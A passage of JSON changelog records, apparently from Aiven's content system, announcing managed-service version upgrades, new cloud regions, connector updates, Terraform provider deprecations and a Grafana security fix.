domain."}],"markDefs":[{"_key":"86a3da5711fc","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/managed-users"}],"style":"normal"},{"_key":"6feef546c2d7","_type":"block","children":[{"_key":"fe8598cde15e0","_type":"span","marks":[],"text":"With verified domains, existing organization users seamlessly transition into managed users. New users can be provisioned and managed through "},{"_key":"fe8598cde15e1","_type":"span","marks":["a2580b8693e4"],"text":"your identity provider"},{"_key":"fe8598cde15e2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a2580b8693e4","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/saml/saml-authentication"}],"style":"normal"}],"publishedAt":"2024-01-19T09:36:00.000Z","tags":[{"_key":"c0fb93176c8a","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Domains and managed users are now generally available"} {"_createdAt":"2022-10-27T09:04:24Z","_i18n_lang":"en","_id":"69be64fc-f88d-46c7-b2e1-f0ef0878f51e","_rev":"avO8DZ6Ky9k3TDzRfU642J","_type":"changelog","_updatedAt":"2022-10-27T09:04:24Z","changeType":"","description":[{"_key":"c8aa5d43-b8a9-4373-a66d-cf5b55bd0924","_type":"block","children":[{"_key":"52d67313-80e1-427f-a2f0-72cd5cecebb1","_type":"span","marks":[],"text":"See "},{"_key":"1bd819b1-0c8c-4d70-ac43-f54ee0c5b1dd","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"a10db54e-2518-450d-ba61-c7d61974f639","_type":"span","marks":[],"text":" for more details about the PostgreSQL minor releases."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2021-05-12T00:00:00.000Z","tags":[{"_key":"a7ed876d-cd36-49ef-b4fb-3139e6afff31","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 13.3, 12.7, 11.12, 10.17 and 9.6.22"} {"_createdAt":"2022-10-27T09:06:41Z","_i18n_lang":"en","_id":"69f98e23-d11d-47da-a16e-24eb041b35b9","_rev":"Cf2WlCE8X5IGBBi7ld1H7y","_type":"changelog","_updatedAt":"2022-10-27T09:06:41Z","changeType":"","description":[{"_key":"b8b80f4a-c515-41d7-9210-7ccf18920121","_type":"block","children":[{"_key":"de66f34a-0f44-4dd8-9e82-a2450c2795a2","_type":"span","marks":[],"text":"Please see the "},{"_key":"83519898-f0d7-4610-8276-1c838df33d8b","_type":"span","marks":["m13688922812812"],"text":"Release Notes"},{"_key":"bc309c2f-6577-45cb-a66d-20afdb36425b","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m13688922812812","_type":"link","href":"https://debezium.io/releases/1.1/release-notes/"}],"style":"normal"}],"publishedAt":"2020-05-18T00:00:00.000Z","tags":[{"_key":"1446f490-05f0-47a2-bb6d-82e8678b946d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect Debezium 1.1.1.Final is now available"} {"_createdAt":"2022-10-27T09:05:36Z","_i18n_lang":"en","_id":"01b75387-62b0-46dd-ab60-47a66dbe3283","_rev":"RS2LhK1JP0SKK0JvX1QVu1","_type":"changelog","_updatedAt":"2022-10-27T09:05:36Z","changeType":"","publishedAt":"2020-12-03T00:00:00.000Z","tags":[{"_key":"90f803a2-9454-4e54-bcab-dbd2e3612ef5","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"New integration which allows to push logs of any Aiven service to a Kafka cluster"} {"_createdAt":"2022-10-27T09:06:54Z","_i18n_lang":"en","_id":"02459fbb-832e-443c-b65c-3bdf7582c2df","_rev":"Cf2WlCE8X5IGBBi7ld1HRi","_type":"changelog","_updatedAt":"2022-10-27T09:06:54Z","changeType":"","description":[{"_key":"c993efa2-7a3e-47d7-b9c4-9734b93b6ff0","_type":"block","children":[{"_key":"933898f1-0d5c-4ff6-b126-97d15e7fea8e","_type":"span","marks":[],"text":"Please see "},{"_key":"17bd5060-c3fe-4f0e-85b2-f7583707a189","_type":"span","marks":["m14781420684498"],"text":"the changelog"},{"_key":"fde2009d-87b2-4d21-90a8-2c1265f9ee24","_type":"span","marks":[],"text":" and "},{"_key":"a88b7e76-ab9b-4980-9561-38a6dcaa30e0","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"4e0657ea-1d77-4bce-96c5-e54a45ef5e51","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14781420684498","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v1.2.3"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2020-04-16T00:00:00.000Z","tags":[{"_key":"cd973b9d-cf57-4654-a3ef-0fc8ce6ed520","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 1.2.3"} {"_createdAt":"2022-10-27T09:09:23Z","_i18n_lang":"en","_id":"02d4c3db-85a1-45f1-8396-a1f8449005b0","_rev":"C4pC7IakZ1PpJ4LWR2B6r3","_type":"changelog","_updatedAt":"2022-10-27T09:09:23Z","changeType":"","publishedAt":"2018-11-08T00:00:00.000Z","tags":[{"_key":"d2a1b508-6bfd-4751-86fd-ea7c3203ef56","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL 10 now supports the extension pg_prometheus allowing Aiven for PostgreSQL to be used as a Prometheus storage database."} {"__i18n_lang":"en","_createdAt":"2023-05-24T14:26:32Z","_id":"02fc95ab-69a6-406f-b574-260fca31a02b","_rev":"R8FXCRS38PsyqBqutLJYsg","_type":"changelog","_updatedAt":"2023-08-23T08:18:52Z","changeType":"new","description":[{"_key":"7fb63fb36205","_type":"block","children":[{"_key":"b8f82b154b3b","_type":"span","marks":[],"text":"This release adds support for the new Aiven organizations and organizational units, which replace accounts. Two new resources - "},{"_key":"fba183bbc1e3","_type":"span","marks":["code"],"text":"aiven_organization"},{"_key":"63c82dd2ab78","_type":"span","marks":[],"text":" and "},{"_key":"e48c8081e043","_type":"span","marks":["code"],"text":"aiven_organizational_unit"},{"_key":"6d0ab2a38838","_type":"span","marks":[],"text":" - were added along with corresponding data sources."}],"markDefs":[],"style":"normal"},{"_key":"32c5dd90d7dd","_type":"block","children":[{"_key":"445b5c0a0aa1","_type":"span","marks":[],"text":"The following are deprecated:"}],"markDefs":[],"style":"normal"},{"_key":"783113a11939","_type":"block","children":[{"_key":"c8fb17fac790","_type":"span","marks":["code"],"text":"aiven_account_team_project"},{"_key":"752c0c55a4e8","_type":"span","marks":[],"text":" resource"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e2ab4d691774","_type":"block","children":[{"_key":"437a9f99ceab","_type":"span","marks":["code"],"text":"aiven_account"},{"_key":"52c41db66da1","_type":"span","marks":[],"text":" resource"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"46e734a55c9b","_type":"block","children":[{"_key":"a3819815a67e","_type":"span","marks":["code"],"text":"account_id"},{"_key":"e4bb6e4f1d6f","_type":"span","marks":[],"text":" Use "},{"_key":"d3cfc31b073d","_type":"span","marks":["code"],"text":"id"},{"_key":"bbb8b3d4daf2","_type":"span","marks":[],"text":" instead."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1977ad6c709f","_type":"block","children":[{"_key":"a9b48aa5a776","_type":"span","marks":["code"],"text":"primary_billing_id"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7a01139d5194","_type":"block","children":[{"_key":"3a93a2b652ca","_type":"span","marks":["code"],"text":"owner_team_id"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7127296f1bb2","_type":"block","children":[{"_key":"8e631fab2f8c","_type":"span","marks":["code"],"text":"is_account_owner"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9ab25dda6009","_type":"block","children":[{"_key":"d60bb3d2d9ad","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-05-24T14:37:00.000Z","tags":[{"_key":"41418ad01a85","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Aiven Provider for Terraform version 4.4.0 now available"} {"_createdAt":"2022-10-27T09:09:45Z","_i18n_lang":"en","_id":"0353954c-a6c8-4204-8dde-43bcda839d4a","_rev":"LZdZtpADiowz8bkvB6nilh","_type":"changelog","_updatedAt":"2022-10-27T09:09:45Z","changeType":"","description":[{"_key":"f6ecb4d8-ed84-4a1e-9dd1-f9480289e1bc","_type":"block","children":[{"_key":"0a65b465-fe62-42de-b621-f59b85fa325d","_type":"span","marks":[],"text":"Prices of such plans were reduced by up to 25%."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-09-04T00:00:00.000Z","tags":[{"_key":"46b09db2-171d-4e4c-8fd5-0af6e4e39574","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"},{"_key":"03f2580e-2f43-4ae5-bbed-4d147eee1f3c","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"hostProvider"}],"title":"Aiven for Redis Startup-14 and larger plans now utilize the new R5 and X1E instance types in many AWS regions"} {"_createdAt":"2022-10-27T09:02:54Z","_i18n_lang":"en","_id":"035f2d68-6b15-4d5b-8d9f-d77e08e6b438","_rev":"avO8DZ6Ky9k3TDzRfU5hAT","_type":"changelog","_updatedAt":"2022-10-27T09:02:54Z","changeType":"","description":[{"_key":"00721812-2fd5-4127-b7cd-f658dd6b629f","_type":"block","children":[{"_key":"92991d64-2e79-4498-bdf5-7144e4e41494","_type":"span","marks":[],"text":"Please see the "},{"_key":"b5e07a79-4d7d-44a5-adaf-06abf209498f","_type":"span","marks":["m6134731869386"],"text":"release notes"},{"_key":"4de25b71-1dfe-45c2-8911-6974e19e686e","_type":"span","marks":[],"text":" and the "},{"_key":"92902a54-b5fa-44d6-ade0-3c4c96e791fc","_type":"span","marks":["m16137553590859"],"text":"documentation"},{"_key":"70b2abe7-b6a2-4aeb-9a00-044c7058e45b","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m6134731869386","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/releases/tag/v6.6.1"},{"_key":"m16137553590859","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/tree/v6.6.1"}],"style":"normal"}],"publishedAt":"2022-02-28T00:00:00.000Z","tags":[{"_key":"21a4a8a4-34f9-4973-863a-b8c52a2c86ec","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink and source JDBC connectors have been updated to version 6.6.1"} {"_createdAt":"2022-10-27T09:03:05Z","_i18n_lang":"en","_id":"03c7ef10-23db-49fc-9b05-126443cbfa61","_rev":"JKdP0gIV0ar9vXHllAf1e9","_type":"changelog","_updatedAt":"2022-12-13T08:59:52Z","changeType":"","description":[{"_key":"a1b5e4c2-50f3-4b31-9522-a9b65419aa4b","_type":"block","children":[{"_key":"49c3591c-d605-4ca7-adb3-1526db5a47cf","_type":"span","marks":[],"text":"All Aiven services are now available in the southamerica-west1 and ap-southeast-3 regions."}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-02-01T00:00:00.000Z","tags":[{"_key":"60091677-1b2c-4408-805a-77b46375b205","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"hostProvider"},{"_key":"1776b6fc-8ff3-4940-acce-a60021ec9ff9","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for the Google Cloud Platform (GCP) Santiago and Amazon Web Services (AWS) Jakarta regions"} {"_createdAt":"2022-10-27T09:11:18Z","_i18n_lang":"en","_id":"04305a73-7f51-4cfc-8136-16f83cd87777","_rev":"WYf15BwQWb3V4yHfbxPlt5","_type":"changelog","_updatedAt":"2022-10-27T09:11:18Z","changeType":"","description":[{"_key":"dd695c55-1d8c-4347-8f89-8b0ef745d61a","_type":"block","children":[{"_key":"1c71a15b-501d-4af4-b2a1-b0742c26bc0e","_type":"span","marks":[],"text":"You can use the Aiven command-line client to configure this."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-09-15T00:00:00.000Z","tags":[{"_key":"81b204de-ffda-4362-8cc8-c3c503ab9857","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Allow adjusting \u003ccode\u003elog_min_duration_statement\u003c/code\u003e through the \u003ccode\u003euser_config\u003c/code\u003e interface"} {"_createdAt":"2022-10-27T09:04:34Z","_i18n_lang":"en","_id":"044c872d-48ac-4f42-b629-4d53b358cae6","_rev":"HEiYk6nGjmUICadcDbSjH6","_type":"changelog","_updatedAt":"2022-10-27T09:04:34Z","changeType":"","description":[{"_key":"d4256b4f-47f6-4d89-a55b-ab28ac6be919","_type":"block","children":[{"_key":"497fc0f9-8524-4f87-a3e3-c2949ab21786","_type":"span","marks":[],"text":"Please see the "},{"_key":"a3908919-1330-44e9-b97f-94b0c8f32505","_type":"span","marks":["m9179614538508"],"text":"Release Notes"},{"_key":"5cf1160c-b06f-405b-9a83-c42c3ef08fb5","_type":"span","marks":[],"text":" and "},{"_key":"5728c2ad-7fa9-4c01-942b-1ed59b91626d","_type":"span","marks":["m6819857635543"],"text":"the announcement blog post"},{"_key":"1b1f2429-9783-43f8-b9f9-4a5122d2d12f","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m9179614538508","_type":"link","href":"https://downloads.apache.org/kafka/2.8.0/RELEASE_NOTES.html"},{"_key":"m6819857635543","_type":"link","href":"https://aiven.io/blog/aiven-supports-apache-kafka-2-8"}],"style":"normal"}],"publishedAt":"2021-04-26T00:00:00.000Z","tags":[{"_key":"75e42a39-d3f5-4c7d-9368-4eb963667193","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka version 2.8 is now available on Aiven"} {"_createdAt":"2022-10-27T09:06:34Z","_i18n_lang":"en","_id":"0490c86e-43f2-4dc6-9216-d425aeede8e0","_rev":"GNtcCQgxf3P3DqpLt1jXDp","_type":"changelog","_updatedAt":"2022-10-27T09:06:34Z","changeType":"","description":[{"_key":"76433d1f-26e1-4d30-a277-ea3c7c2473b6","_type":"block","children":[{"_key":"ad86d65e-1898-4a89-b2fe-698442dddad9","_type":"span","marks":[],"text":"All Aiven services are now available in the GCP Las Vegas ("},{"_key":"b4895524-e6e9-4bc4-9edf-bf7d0a04d258","_type":"span","marks":["code"],"text":"us-west4"},{"_key":"02299d45-1bb9-4a9e-9508-befd96f5a99a","_type":"span","marks":[],"text":") and Salt Lake City ("},{"_key":"cf1e68d9-dbaf-447d-b017-c20611818072","_type":"span","marks":["code"],"text":"us-west3"},{"_key":"127f2aad-cde3-45e4-840a-ba4992e8901e","_type":"span","marks":[],"text":") regions as well as AWS Italy ("},{"_key":"3c41e88c-80e5-493f-898f-c0842bf92816","_type":"span","marks":["code"],"text":"eu-south-1"},{"_key":"1337b0aa-afc9-46fa-ac3a-3f91d98ccc83","_type":"span","marks":[],"text":") and South Africa ("},{"_key":"6909fa37-05b9-4ca6-8000-75b6ce0094f0","_type":"span","marks":["code"],"text":"af-south-1"},{"_key":"05aa0a6e-3b51-48fa-91ba-3ce8c3315d71","_type":"span","marks":[],"text":") regions."}],"markDefs":[],"style":"normal"}],"publishedAt":"2020-06-10T00:00:00.000Z","tags":[{"_key":"31b46b8a-3cdd-4566-a69c-07052f62274e","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"hostProvider"},{"_key":"9d9e623f-e4e8-4614-b3d1-753c1dcb83d9","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for new Amazon Web Services (AWS) and Google Cloud Platform (GCP) regions"} {"_createdAt":"2022-10-27T09:03:41Z","_i18n_lang":"en","_id":"04e5b21e-1185-4be3-9ea3-1e0928602e56","_rev":"HEiYk6nGjmUICadcDbSe9O","_type":"changelog","_updatedAt":"2022-10-27T09:03:41Z","changeType":"","description":[{"_key":"24625693-01aa-48bf-8d5e-4bd3649a822d","_type":"block","children":[{"_key":"46e50375-b031-4862-8775-4083af172423","_type":"span","marks":[],"text":"Please see "},{"_key":"54a4dc0f-f689-451d-bbc2-0bacdff749e7","_type":"span","marks":["m2389050290227"],"text":"the changelog"},{"_key":"329d5fab-0666-4bef-b2d8-637963e336f6","_type":"span","marks":[],"text":" and "},{"_key":"ee734abb-50eb-4ec3-bac4-9ed9fff244a1","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"591d81ed-b759-477a-a7ef-f2b8c8f0769a","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m2389050290227","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v1.5.5"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2021-09-17T00:00:00.000Z","tags":[{"_key":"422d0c44-7432-46d6-a8f8-8e2219635005","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 1.5.5"} {"_createdAt":"2022-10-27T09:10:06Z","_i18n_lang":"en","_id":"0530731f-f45b-4379-ac7d-8793856fc796","_rev":"7JYD5XroFCjaK9NJzk3ymO","_type":"changelog","_updatedAt":"2022-10-27T09:10:06Z","changeType":"","description":[{"_key":"4444b309-bf62-4354-8e93-615a122fd3b0","_type":"block","children":[{"_key":"0ec8da3e-d280-4cd6-ac01-453b738fd764","_type":"span","marks":[],"text":"All Aiven services are now available in the new region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-06-19T00:00:00.000Z","tags":[{"_key":"c4597a53-551f-4429-b3e1-225b5edd0ebd","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for Google Cloud Platform (GCP) Hamina, Finland (\u003ccode\u003eeurope-north1\u003c/code\u003e) region"} {"__i18n_lang":"en","_createdAt":"2023-01-25T14:53:22Z","_id":"074499bc-f4f1-428f-bca7-60ceac657c11","_rev":"6wJ6OxF1mPB2I3zefugry7","_type":"changelog","_updatedAt":"2023-01-26T11:28:42Z","changeType":"new","description":[{"_key":"9ec4da73466b","_type":"block","children":[{"_key":"966db1d110730","_type":"span","marks":[],"text":"Apache Kafka version 3.3.1 is now available on Aiven. It also contains various new features, fixes, and improvements from "},{"_key":"6ec2afd7029d","_type":"span","marks":["486bec8b2649"],"text":"Kafka release 3.3"},{"_key":"d290bff018c2","_type":"span","marks":[],"text":". See "},{"_key":"966db1d110731","_type":"span","marks":["6b7985931dc4"],"text":"Release notes 3.3.1"},{"_key":"966db1d110732","_type":"span","marks":[],"text":" and "},{"_key":"966db1d110733","_type":"span","marks":["82a3519a9ade"],"text":"Release notes 3.3.0"},{"_key":"966db1d110734","_type":"span","marks":[],"text":" for a complete list of changes."}],"markDefs":[{"_key":"6b7985931dc4","_type":"link","href":"https://downloads.apache.org/kafka/3.3.1/RELEASE_NOTES.html"},{"_key":"82a3519a9ade","_type":"link","href":"https://archive.apache.org/dist/kafka/3.3.0/RELEASE_NOTES.html"},{"_key":"486bec8b2649","_type":"link","href":"https://blogs.apache.org/kafka/entry/what-rsquo-s-new-in"}],"style":"normal"}],"publishedAt":"2022-12-23T14:51:00.000Z","tags":[{"_key":"145ba10b25ab","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka version 3.3.1 is now available on Aiven."} {"_createdAt":"2022-10-27T09:06:03Z","_i18n_lang":"en","_id":"089368c0-a6c0-43c6-a44d-86f12ed132d8","_rev":"RS2LhK1JP0SKK0JvX1QYZ1","_type":"changelog","_updatedAt":"2022-10-27T09:06:03Z","changeType":"","description":[{"_key":"e3a00a7b-3cfb-4b55-9959-e72b54c354a5","_type":"block","children":[{"_key":"ed312792-4010-4726-8d3e-ae07b7155afb","_type":"span","marks":[],"text":"Please see the "},{"_key":"87ecb036-daa3-4ea2-9dd5-5988578d51fa","_type":"span","marks":["m15193040135151"],"text":"Release Notes"},{"_key":"027d8a95-79df-47fb-9320-311e565ec0ac","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m15193040135151","_type":"link","href":"https://debezium.io/releases/1.2/release-notes/"}],"style":"normal"}],"publishedAt":"2020-09-04T00:00:00.000Z","tags":[{"_key":"dccba687-4961-42d8-824b-a00f2b03914c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect Debezium 1.2.2.Final is now available"} {"_createdAt":"2022-10-27T09:07:16Z","_i18n_lang":"en","_id":"089858f8-ee14-4370-ad95-48bc42f2bf32","_rev":"C4pC7IakZ1PpJ4LWR2B5Xl","_type":"changelog","_updatedAt":"2022-10-27T09:07:16Z","changeType":"","description":[{"_key":"bccbeeeb-92bd-453c-8df5-e05859294c33","_type":"block","children":[{"_key":"e51732b6-27e5-420f-99e6-2a87e7ae9029","_type":"span","marks":[],"text":"All new Elasticsearch services will be using this version and older customers will be upgraded to it over time. To see what's new see the release notes for "},{"_key":"8c557cfa-e287-4327-a954-ad6960256f3a","_type":"span","marks":["m11821331641014"],"text":"Elasticsearch 7.5.1"},{"_key":"1847a6b7-88d7-4c15-a7cf-b194e59c2fd4","_type":"span","marks":[],"text":" and "},{"_key":"37232aed-7dbe-45f1-acc3-4a8a017c9f08","_type":"span","marks":["m6283350562007"],"text":"Kibana"},{"_key":"ea48e060-cced-4fd7-bd1f-c09640e44eb8","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11821331641014","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-7.5.1.html"},{"_key":"m6283350562007","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-7.5.1.html"}],"style":"normal"}],"publishedAt":"2020-01-03T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch version 7.5.1 is now available"} {"_createdAt":"2022-10-27T09:03:53Z","_i18n_lang":"en","_id":"08ff837f-3435-4bc5-a583-98286340271a","_rev":"KIlpVp44L6B7auDNL66Iae","_type":"changelog","_updatedAt":"2022-10-27T09:03:53Z","changeType":"","publishedAt":"2021-07-27T00:00:00.000Z","tags":[{"_key":"5c9be933-371d-41df-94c8-44cc44172b1f","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's pg_partman extension has been updated to version 4.5.1."} {"__i18n_lang":"en","_createdAt":"2023-03-31T13:54:55Z","_id":"098f19f4-5a92-4073-aaff-316f6f28c9ea","_rev":"Fl2c73WgS9jO0pBHiRmL1q","_type":"changelog","_updatedAt":"2023-03-31T15:40:50Z","changeType":"improved","description":[{"_key":"cafca37cd342","_type":"block","children":[{"_key":"08a71be9b8000","_type":"span","marks":[],"text":"The Google PubSub connector for Aiven for Apache Kafka® has been upgraded to version 1.0.0. This latest update includes multiple bug fixes and improvements and preparing the connector for its official release. "}],"markDefs":[{"_key":"bb886262e38e","_type":"link","href":"https://github.com/googleapis/java-pubsub-group-kafka-connector"},{"_key":"6d205eae9f01","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/gcp-pubsub-source"},{"_key":"16423fbe500c","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/gcp-pubsub-sink"}],"style":"normal"},{"_key":"07faf6759185","_type":"block","children":[{"_key":"86744801a11a","_type":"span","marks":[],"text":"For more information, see the "},{"_key":"08a71be9b8001","_type":"span","marks":["bb886262e38e"],"text":"Google Cloud Pub/Sub Group Kafka Connector"},{"_key":"08a71be9b8002","_type":"span","marks":[],"text":" GitHub project. For information on using this connector, see "},{"_key":"08a71be9b8003","_type":"span","marks":["6d205eae9f01"],"text":"Create a Google Pub/Sub source connector to Apache Kafka®"},{"_key":"08a71be9b8004","_type":"span","marks":[],"text":" and "},{"_key":"08a71be9b8005","_type":"span","marks":["16423fbe500c"],"text":"Create a sink connector from Apache Kafka® to Google Pub/Sub"},{"_key":"08a71be9b8006","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"bb886262e38e","_type":"link","href":"https://github.com/googleapis/java-pubsub-group-kafka-connector"},{"_key":"6d205eae9f01","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/gcp-pubsub-source"},{"_key":"16423fbe500c","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/gcp-pubsub-sink"}],"style":"normal"}],"publishedAt":"2023-03-31T13:55:30.556Z","tags":[{"_key":"337208a8d70f","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Upgraded Google PubSub connector for Aiven for Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2023-03-09T09:32:11Z","_id":"09b549d9-220d-4a5b-ab6f-75595fecc607","_rev":"OJPfab1FRVf7wOgYeZMT2v","_type":"changelog","_updatedAt":"2023-03-09T09:32:11Z","changeType":"security","description":[{"_key":"b4f379414fe0","_type":"block","children":[{"_key":"c7bf1e7dacde0","_type":"span","marks":[],"text":"Aiven for Grafana has been upgraded to version 9.3.8. With the upgrade to version 9.3.8, Aiven for Grafana now includes critical security fixes for stored XSS vulnerabilities: CVE-2023-0594, CVE-2023-0507, and CVE-2023-22462. "}],"markDefs":[],"style":"normal"},{"_key":"07b23487e0a0","_type":"block","children":[{"_key":"acf5a8239f33","_type":"span","marks":[],"text":"For all existing Aiven for Grafana services older than 9.3.8, the update to 9.3.8 will be applied as a mandatory maintenance update in the next maintenance window. For more information on the security fixes, see "},{"_key":"c353dd90cd791","_type":"span","marks":["245282f9fb71"],"text":"Grafana security release"},{"_key":"c353dd90cd792","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"245282f9fb71","_type":"link","href":"https://grafana.com/blog/2023/02/28/grafana-security-release-new-versions-with-security-fixes-for-cve-2023-0594-cve-2023-0507-and-cve-2023-22462/"}],"style":"normal"},{"_key":"e6ea349becd8","_type":"block","children":[{"_key":"f42acbff68ea0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-03-09T09:24:00.000Z","tags":[{"_key":"834c271421dc","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Aiven for Grafana version 9.3.8"} {"__i18n_lang":"en","_createdAt":"2022-12-02T16:06:46Z","_id":"0a5f41c8-78aa-457d-a049-16080b2f66a6","_rev":"IiYi5XVNmR5WYQ23CFZ5hd","_type":"changelog","_updatedAt":"2022-12-22T10:46:19Z","changeType":"improved","description":[{"_key":"df3813b88539","_type":"block","children":[{"_key":"91f89d22767d0","_type":"span","marks":[],"text":"Apache Flink version 1.16.0 is now available on Aiven. Performance improvements for stream processing and batch processing are among the key features and enhancements in this Flink release. For a complete list of features and enhancements, see "},{"_key":"91f89d22767d1","_type":"span","marks":["ec2e1342dbce"],"text":"Apache Flink release notes"},{"_key":"91f89d22767d2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"ec2e1342dbce","_type":"link","href":"https://flink.apache.org/news/2022/10/28/1.16-announcement.html"}],"style":"normal"}],"publishedAt":"2022-11-28T16:06:00.000Z","tags":[{"_key":"beecca83c0f6","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"service"}],"title":"Apache Flink version 1.16.0"} {"_createdAt":"2022-10-27T09:04:27Z","_i18n_lang":"en","_id":"0b386a24-1ee0-4f14-82b6-003b92bdbbab","_rev":"RS2LhK1JP0SKK0JvX1Q0S1","_type":"changelog","_updatedAt":"2022-10-27T09:04:27Z","changeType":"","description":[{"_key":"d76944dc-72ae-48b8-9e53-4386906d2b88","_type":"block","children":[{"_key":"5c042041-5088-47a9-85b7-3248f29bcac6","_type":"span","marks":[],"text":"See example and instructions on usage from "},{"_key":"c6b5d4a0-9731-48ca-9203-27111a0f638b","_type":"span","marks":["m2696044944678"],"text":"Getting started with Datadog"},{"_key":"d2d61fec-2974-4284-bac3-bcf552675046","_type":"span","marks":[],"text":" article."}],"markDefs":[{"_key":"m2696044944678","_type":"link","href":"https://help.aiven.io/en/articles/1759208-getting-started-with-datadog"}],"style":"normal"}],"publishedAt":"2021-05-05T00:00:00.000Z","tags":["Aiven for Cassandra",{"_key":"b70ef288-edea-401c-aaa7-634deb29d80d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"289cce82-ac3d-45d7-aa5b-70f942959a92","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"1ef55ef1-2004-4625-bdb4-8697373654c3","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"},{"_key":"3ac3fd5f-f1f3-4788-9b49-7e89bfb35c99","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Aiven Datadog service integration now supports user-defined tags"} {"_createdAt":"2022-10-27T09:09:01Z","_i18n_lang":"en","_id":"0b3f2533-bafc-4c05-8cbd-7b4f3473f5b0","_rev":"HEiYk6nGjmUICadcDbTSYc","_type":"changelog","_updatedAt":"2022-10-27T09:09:01Z","changeType":"","description":[{"_key":"aee4c524-2c08-4acf-ba76-1c690110bbab","_type":"block","children":[{"_key":"24f4abac-5349-41a0-b8d8-7e13619547b5","_type":"span","marks":[],"text":"Aiven extras has been updated to version 1.0.2, adding support for auto explain and for changing owner of public 